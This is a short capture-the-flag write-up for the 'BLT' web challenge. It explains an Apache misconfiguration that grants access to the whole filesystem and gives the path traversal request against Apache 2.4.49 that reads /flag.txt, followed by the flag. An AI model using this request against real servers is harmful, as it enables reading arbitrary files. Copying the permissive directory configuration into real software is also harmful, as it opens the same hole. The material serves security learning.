> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/spbctfs-student-ctf-quals/blt.md).

# BLT

## Description

Our company provides services for the development of the most modern software.

Can you check our landing page for vulnerabilities?

Here's our website: **`164.90.201.196:8080/`**

{% file src="/files/gCNPOBNnQvhywPIhJc2c" %}

## Solution

Taking a look at the Dockerfile, we quickly see a misconfiguration in the `apache.conf` file.

```docker
RUN echo "<VirtualHost *:80>\n \
DocumentRoot /var/www/html/\n \
<Directory \"/\">\n \
 Require all granted\n \
</Directory>\n \
</VirtualHost>" > /usr/local/apache2/conf/apache.conf
```

Here, `<Directory />` refers to the *filesystem* directory, not the web root. Hence, this configuration allows access to any file on the filesystem.

Taking a closer look a the server responses showed that the Apache server is on version 2.4.49, and vulnerable to a recent path traversal zero-day.

![](/files/m4UZglrW6URDNEiDTvCM)

`GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1` allows us to get the flag at `/flag.txt`.

The flag is `spbctf{th3_lat3st_d03s_n0t_m3an_s3cur3}`


---

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